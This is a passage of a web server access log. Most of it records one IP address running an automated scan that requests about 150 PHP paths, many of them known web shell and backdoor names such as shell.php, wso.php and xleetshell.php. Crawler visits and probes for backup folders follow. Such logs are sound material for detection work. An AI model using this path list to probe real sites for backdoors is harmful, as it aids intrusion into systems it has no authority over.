/include/Lurd.class.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:30:39 -0400] "GET /includes/1975Team.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:30:40 -0400] "GET /index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:30:40 -0400] "GET /index/function.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:30:41 -0400] "GET /ini.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:30:41 -0400] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:30:42 -0400] "GET /install.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:30:43 -0400] "GET /ioxi002.PhP7 HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:30:43 -0400] "GET /item.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:30:44 -0400] "GET /k.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:30:45 -0400] "GET /l/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:30:45 -0400] "GET /link.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:30:46 -0400] "GET /log.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:30:47 -0400] "GET /login.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:30:48 -0400] "GET /login/files.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:30:48 -0400] "GET /lv.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:30:49 -0400] "GET /mah.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:30:50 -0400] "GET /mail.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:30:51 -0400] "GET /makeasmtp.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:30:51 -0400] "GET /mar.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:30:52 -0400] "GET /mini.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:30:52 -0400] "GET /moderation.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:30:53 -0400] "GET /moon.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:30:54 -0400] "GET /new.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:30:54 -0400] "GET /ok.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:30:55 -0400] "GET /options.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:30:55 -0400] "GET /ova-tools.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:30:56 -0400] "GET /post.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:30:57 -0400] "GET /public/makeasmtp.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:30:57 -0400] "GET /radio.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:30:58 -0400] "GET /randkeyword.PhP7 HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:30:59 -0400] "GET /repeater.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:30:59 -0400] "GET /shell.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:31:00 -0400] "GET /simple.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:31:01 -0400] "GET /simple/function.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:31:02 -0400] "GET /st.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:31:02 -0400] "GET /sxo.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:31:03 -0400] "GET /system_log.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:31:04 -0400] "GET /templates/atomic/templates.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:31:04 -0400] "GET /templates/beez3/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:31:05 -0400] "GET /test.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:31:06 -0400] "GET /themes.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:31:06 -0400] "GET /themes/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:31:07 -0400] "GET /tiny.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:31:08 -0400] "GET /tinyfilemanager.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:31:08 -0400] "GET /tools.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:31:09 -0400] "GET /ty.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:31:10 -0400] "GET /up.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:31:10 -0400] "GET /update/upload.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:31:11 -0400] "GET /upload.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:31:12 -0400] "GET /user.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:31:12 -0400] "GET /v.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:31:13 -0400] "GET /vendor/phpunit/phpunit/src/Util/PHP/ffl82xdf59.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:31:14 -0400] "GET /wikindex.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:31:15 -0400] "GET /worksec.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:31:16 -0400] "GET /wp-2019.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:31:16 -0400] "GET /wp-activate.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:31:17 -0400] "GET /wp-admin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:31:18 -0400] "GET /wp-admin/6myKRCf7pkL.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:31:18 -0400] "GET /wp-admin/axcjwclf.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:31:19 -0400] "GET /wp-admin/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:31:20 -0400] "GET /wp-admin/css/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:31:21 -0400] "GET /wp-admin/css/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:31:21 -0400] "GET /wp-admin/css/colors/HaUaphPh.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:31:22 -0400] "GET /wp-admin/css/colors/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:31:23 -0400] "GET /wp-admin/css/colors/blue/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:31:23 -0400] "GET /wp-admin/css/colors/blue/blkabtfa.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:31:24 -0400] "GET /wp-admin/css/colors/blue/blue.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:31:25 -0400] "GET /wp-admin/css/colors/blue/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:31:25 -0400] "GET /wp-admin/css/colors/coffee/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:31:26 -0400] "GET /wp-admin/css/colors/fridSiB.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:31:26 -0400] "GET /wp-admin/css/colors/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:31:27 -0400] "GET /wp-admin/css/colors/midnight/colors.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:31:28 -0400] "GET /wp-admin/css/imdnbpma.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:31:28 -0400] "GET /wp-admin/css/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:31:29 -0400] "GET /wp-admin/css/lock.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:31:30 -0400] "GET /wp-admin/css/network.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:31:30 -0400] "GET /wp-admin/images/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:31:31 -0400] "GET /wp-admin/images/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:31:32 -0400] "GET /wp-admin/images/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:31:32 -0400] "GET /wp-admin/images/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:31:33 -0400] "GET /wp-admin/includes/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:31:34 -0400] "GET /wp-admin/includes/class-walker-nav-edit.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:31:35 -0400] "GET /wp-admin/js/QXUho.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:31:36 -0400] "GET /wp-admin/js/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:31:36 -0400] "GET /wp-admin/js/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:31:37 -0400] "GET /wp-admin/js/sxo.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:31:38 -0400] "GET /wp-admin/js/widgets/about.php7 HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:31:40 -0400] "GET /wp-admin/js/widgets/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:31:41 -0400] "GET /wp-admin/maint/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:31:42 -0400] "GET /wp-admin/network/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:31:42 -0400] "GET /wp-admin/network/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:31:43 -0400] "GET /wp-admin/options.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:31:43 -0400] "GET /wp-admin/pages.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:31:44 -0400] "GET /wp-admin/sxo.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:31:45 -0400] "GET /wp-admin/user/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:31:46 -0400] "GET /wp-admin/user/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:31:46 -0400] "GET /wp-admin/user/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:31:48 -0400] "GET /wp-admin/users.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:31:49 -0400] "GET /wp-admin/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:31:50 -0400] "GET /wp-admin/x.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:31:52 -0400] "GET /wp-back.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:31:53 -0400] "GET /wp-commentin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:31:53 -0400] "GET /wp-config-sample.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:31:54 -0400] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:31:55 -0400] "GET /wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:31:56 -0400] "GET /wp-content//autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:31:56 -0400] "GET /wp-content/;k.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:31:57 -0400] "GET /wp-content/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:31:57 -0400] "GET /wp-content/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:31:58 -0400] "GET /wp-content/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:31:59 -0400] "GET /wp-content/install.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:32:00 -0400] "GET /wp-content/languages/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:32:01 -0400] "GET /wp-content/languages/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:32:01 -0400] "GET /wp-content/plugins/WordPressCore/include.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:32:02 -0400] "GET /wp-content/plugins/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:32:03 -0400] "GET /wp-content/plugins/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:32:03 -0400] "GET /wp-content/plugins/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:32:04 -0400] "GET /wp-content/plugins/content-management/content.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:32:05 -0400] "GET /wp-content/plugins/core/include.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:32:06 -0400] "GET /wp-content/plugins/elementor/elementor-merge.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:32:06 -0400] "GET /wp-content/plugins/fix/sxo.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:32:07 -0400] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:32:08 -0400] "GET /wp-content/plugins/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:32:09 -0400] "GET /wp-content/plugins/ioptimization/IOptimize.php?rchk HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:32:09 -0400] "GET /wp-content/plugins/linkpreview/custom-plugin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:32:10 -0400] "GET /wp-content/plugins/pwnd/pwnd.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:32:11 -0400] "GET /wp-content/plugins/revslider/includes/external/page/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:32:11 -0400] "GET /wp-content/plugins/simple/simple.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:32:12 -0400] "GET /wp-content/plugins/sxo.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:32:13 -0400] "GET /wp-content/plugins/xt/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:32:14 -0400] "GET /wp-content/radio.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:32:15 -0400] "GET /wp-content/sxo.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:32:15 -0400] "GET /wp-content/themes/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:32:16 -0400] "GET /wp-content/themes/pridmag/db.php?u HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:32:17 -0400] "GET /wp-content/themes/seotheme/custom-plugin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:32:17 -0400] "GET /wp-content/themes/seotheme/mar.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:32:18 -0400] "GET /wp-content/themes/sky-pro/js.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:32:19 -0400] "GET /wp-content/themes/twenty/twenty.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:32:20 -0400] "GET /wp-content/themes/twentytwenty/functions.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:32:21 -0400] "GET /wp-content/upgrade-temp-backup/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:32:22 -0400] "GET /wp-content/upgrade/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:32:22 -0400] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:32:23 -0400] "GET /wp-content/uploads/2024/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:32:24 -0400] "GET /wp-content/uploads/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:32:24 -0400] "GET /wp-content/uploads/cong.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:32:25 -0400] "GET /wp-content/uploads/file.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:32:26 -0400] "GET /wp-content/uploads/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:32:27 -0400] "GET /wp-content/uploads/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:32:27 -0400] "GET /wp-cron.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:32:28 -0400] "GET /wp-includes/ID3/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:32:29 -0400] "GET /wp-includes/ID3/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:32:30 -0400] "GET /wp-includes/IXR/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:32:30 -0400] "GET /wp-includes/IXR/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:32:31 -0400] "GET /wp-includes/Requests/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:32:32 -0400] "GET /wp-includes/Requests/chosen.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:32:32 -0400] "GET /wp-includes/Requests/sxo.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:32:34 -0400] "GET /wp-includes/SimplePie/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:32:34 -0400] "GET /wp-includes/SimplePie/gzdecodes.php.suspected HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:32:35 -0400] "GET /wp-includes/Text/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:32:36 -0400] "GET /wp-includes/Text/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:32:36 -0400] "GET /wp-includes/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:32:37 -0400] "GET /wp-includes/assets/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:32:38 -0400] "GET /wp-includes/block-patterns/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:32:39 -0400] "GET /wp-includes/blocks/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:32:40 -0400] "GET /wp-includes/buy.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:32:40 -0400] "GET /wp-includes/css/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:32:41 -0400] "GET /wp-includes/customize/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:32:42 -0400] "GET /wp-includes/customize/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:32:43 -0400] "GET /wp-includes/dkmjxfdu.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:32:43 -0400] "GET /wp-includes/images/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:32:44 -0400] "GET /wp-includes/images/smilies/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:32:45 -0400] "GET /wp-includes/images/smilies/dVSRAByORS.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:32:46 -0400] "GET /wp-includes/images/sxo.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:32:47 -0400] "GET /wp-includes/images/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:32:48 -0400] "GET /wp-includes/js/plupload/wp-admin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:32:48 -0400] "GET /wp-includes/js/tinymce/plugins/compat3x/css/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:32:50 -0400] "GET /wp-includes/js/tinymce/plugins/compat3x/css/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:32:50 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/img/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:32:51 -0400] "GET /wp-includes/mtnidwgu.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:32:52 -0400] "GET /wp-includes/pomo/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:32:53 -0400] "GET /wp-includes/rest-api/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:32:54 -0400] "GET /wp-includes/sitemaps/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:32:55 -0400] "GET /wp-includes/sodium_compat/src/Core32/Curve25519/Ge/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:32:56 -0400] "GET /wp-includes/style-engine/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:32:56 -0400] "GET /wp-includes/widgets/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:32:58 -0400] "GET /wp-includes/wp-includes_function.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:32:58 -0400] "GET /wp-load.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:33:00 -0400] "GET /wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:33:01 -0400] "GET /wp-login.php?action=register HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:33:02 -0400] "GET /wp-mail.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:33:03 -0400] "GET /wp-signup.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:33:05 -0400] "GET /wp-trackback.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:33:06 -0400] "GET /wp.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:33:07 -0400] "GET /ws.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:33:08 -0400] "GET /wso.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:33:09 -0400] "GET /wso112233.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:33:10 -0400] "GET /x.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:33:11 -0400] "GET /xl.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:33:12 -0400] "GET /xleetshell.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:33:13 -0400] "GET /xmlrpc.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:33:13 -0400] "GET /xx.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:33:14 -0400] "GET /yanz.php HTTP/1.1" 301 795 "-" "-" 185.4.176.103 - - [13/Apr/2025:20:33:52 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v2.0.0; http://mj12bot.com/)" 185.4.176.103 - - [13/Apr/2025:20:33:53 -0400] "GET /category/digital-marketing HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v2.0.0; http://mj12bot.com/)" 185.4.176.103 - - [13/Apr/2025:20:33:55 -0400] "GET /local-seo-services HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v2.0.0; http://mj12bot.com/)" 66.249.79.101 - - [13/Apr/2025:20:54:38 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 66.249.79.101 - - [13/Apr/2025:20:54:38 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.7049.52 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 2600:1900:0:2c00::a00 - - [13/Apr/2025:20:59:38 -0400] "HEAD / HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.60 Safari/537.36" 128.24.49.172 - - [13/Apr/2025:21:18:03 -0400] "HEAD /wordpress HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 128.24.49.172 - - [13/Apr/2025:21:18:07 -0400] "HEAD / HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 128.24.49.172 - - [13/Apr/2025:21:18:13 -0400] "HEAD /wp HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 128.24.49.172 - - [13/Apr/2025:21:18:14 -0400] "HEAD /bc HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 128.24.49.172 - - [13/Apr/2025:21:18:16 -0400] "HEAD /bk HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 128.24.49.172 - - [13/Apr/2025:21:18:18 -0400] "HEAD /backup HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 128.24.49.172 - - [13/Apr/2025:21:18:19 -0400] "HEAD /old HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) 